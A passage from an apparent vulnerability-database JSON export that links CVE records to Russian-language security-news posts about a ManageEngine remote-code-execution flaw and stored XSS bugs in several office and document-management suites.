\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 ManageEngine, \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c RCE-\u0430\u0442\u0430\u043a\u0438.\n\n\u0412 \u0441\u043f\u0438\u0441\u043e\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0432\u0445\u043e\u0434\u044f\u0442 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b ManageEngine. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Zoho \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0430 \u0438\u0437 \u043d\u0438\u0445.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u044b Horizon3\u2019s Attack Team \u0443\u0436\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0435\u0439 Zoho, \u0447\u0442\u043e \u043e\u043d\u0438 \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0432\u044b\u0448\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0425\u043e\u0442\u044f \u043e\u043d\u0438 \u0435\u0449\u0435 \u043d\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438, \u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0431\u0449\u0438\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 (IOC), Horizon3 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u0437\u0436\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Horizon3 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0438\u0441\u044c \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u043e\u043c, \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0449\u0438\u043c \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0432 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438. \u0415\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0430 \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 ManageEngine ServiceDesk Plus.\n\n\u0414\u0436\u0435\u0439\u043c\u0441 \u0425\u043e\u0440\u0441\u043c\u0430\u043d, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0438\u0437 Horizon3, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 10% \u0432\u0441\u0435\u0445 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 ManageEngine \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a CVE-2022-47966.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u0442 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 GreyNoise, \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u0431\u044b\u0441\u0442\u0440\u043e \u043f\u0435\u0440\u0435\u0439\u0434\u0443\u0442 \u043a \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u0441\u0432\u043e\u0438\u0445 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 RCE, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e Horizon3 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u0442 \u0441\u0432\u043e\u0439 PoC-\u043a\u043e\u0434.\n\n\u0420\u0430\u043d\u0435\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 Horizon3 \u0443\u0436\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u0434\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\n\nCVE-2022-28219 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Zoho ManageEngine ADAudit Plus, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 Active Directory.\nCVE-2022-1388 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 F5 BIG-IP.\nCVE-2022-22972 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 VMware, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\u0416\u0451\u0441\u0442\u043a\u043e, \u043d\u043e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e \u2014 \u043f\u043e\u0441\u043b\u0435 \u0443\u043b\u044c\u0442\u0438\u043c\u0430\u0442\u0443\u043c\u0430, \u0432\u044b\u0434\u0432\u0438\u043d\u0443\u0442\u043e\u0433\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c, \u043c\u043e\u0436\u043d\u043e \u043d\u0435 \u0441\u043e\u043c\u043d\u0435\u0432\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u043b\u044e\u0431\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0443\u0434\u0443\u0442 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 \u043a\u0440\u0430\u0442\u0447\u0430\u0439\u0448\u0438\u0435 \u0441\u0440\u043e\u043a\u0438.\n\n#\u0425\u0430\u043a\u0435\u0440\u044b #ManageEngine #\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-01-18T13:54:27.000000Z"}, {"uuid": "11e88308-7161-4dd7-a69e-76c9b996083a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47419", "type": "seen", "source": "https://t.me/itsec_news/2163", "content": "\u200b\u2694\ufe0f \u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0437\u0430 \u0440\u0443\u0431\u0435\u0436\u043e\u043c \u043e\u0444\u0438\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n\ud83d\udcac 7 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Rapid7 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u0432 \u0441\u0432\u043e\u0451\u043c \u0431\u043b\u043e\u0433\u0435 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445: LogicalDOC, Mayan, ONLYOFFICE \u0438 OpenKM.\n\n8 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u0432\u043e\u0442 \u0438\u0445 \u0441\u043f\u0438\u0441\u043e\u043a:\n\nONLYOFFICE: CVE-2022-47412;\nOpenKM: CVE-2022-47413, CVE-2022-47414;\nLogicalDOC: CVE-2022-47415, CVE-2022-47416, CVE-2022-47417, CVE-2022-47418;\nMayan: CVE-2022-47419.\n\n\u0425\u0440\u0430\u043d\u0438\u043c\u044b\u0439 (\u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439) XSS \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u043b\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f), \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u043c \u043f\u043e\u0441\u0435\u0449\u0435\u043d\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0448\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0443. \u0416\u0435\u0440\u0442\u0432\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0442\u0430\u043a\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0434\u0430\u0451\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u044c\u044e.\n\n\u00ab\u0422\u0438\u043f\u0438\u0447\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u043e \u0431\u044b \u0443\u043a\u0440\u0430\u0441\u0442\u044c cookie-\u0444\u0430\u0439\u043b \u0441\u0435\u0430\u043d\u0441\u0430, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440, \u0432\u043e\u0448\u0435\u0434\u0448\u0438\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e. \u0410 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 cookie-\u0444\u0430\u0439\u043b, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u0435 \u043d\u043e\u0432\u0443\u044e \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c\u00bb, \u2014 \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u044c Rapid7. \u0414\u0430\u043d\u043d\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u043c\u0438 \u0432 \u043d\u0435\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438.\n\n\u0412 Rapid7 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u0431 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0431\u044b\u043b\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u043e \u0435\u0449\u0451 1 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430. \u041e\u0434\u043d\u0430\u043a\u043e \u0432\u0441\u0435 \u043e\u043d\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0438\u043c\u043f\u043e\u0440\u0442\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u0437 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0438\u043b\u0438 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0445, \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0447\u0430\u0442\u044b \u0438 \u043f\u043e\u043c\u0435\u0442\u043a\u0438.\n\n#\u0425\u0430\u043a\u0435\u0440\u044b \n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-02-09T11:49:14.000000Z"}, {"uuid": "9e65c678-b3c2-4eda-9070-9f8f9ee297ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47412", "type": "seen", "source": "https://t.me/itsec_news/2163", "content": "\u200b\u2694\ufe0f \u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0437\u0430 \u0440\u0443\u0431\u0435\u0436\u043e\u043c \u043e\u0444\u0438\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n\ud83d\udcac 7 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Rapid7 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u0432 \u0441\u0432\u043e\u0451\u043c \u0431\u043b\u043e\u0433\u0435 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445: LogicalDOC, Mayan, ONLYOFFICE \u0438 OpenKM.\n\n8 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u0432\u043e\u0442 \u0438\u0445 \u0441\u043f\u0438\u0441\u043e\u043a:\n\nONLYOFFICE: CVE-2022-47412;\nOpenKM: CVE-2022-47413, CVE-2022-47414;\nLogicalDOC: CVE-2022-47415, CVE-2022-47416, CVE-2022-47417, CVE-2022-47418;\nMayan: CVE-2022-47419.\n\n\u0425\u0440\u0430\u043d\u0438\u043c\u044b\u0439 (\u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439) XSS \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u043b\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f), \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u043c \u043f\u043e\u0441\u0435\u0449\u0435\u043d\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0448\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0443. \u0416\u0435\u0440\u0442\u0432\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0442\u0430\u043a\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0434\u0430\u0451\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u044c\u044e.\n\n\u00ab\u0422\u0438\u043f\u0438\u0447\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u043e \u0431\u044b \u0443\u043a\u0440\u0430\u0441\u0442\u044c cookie-\u0444\u0430\u0439\u043b \u0441\u0435\u0430\u043d\u0441\u0430, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440, 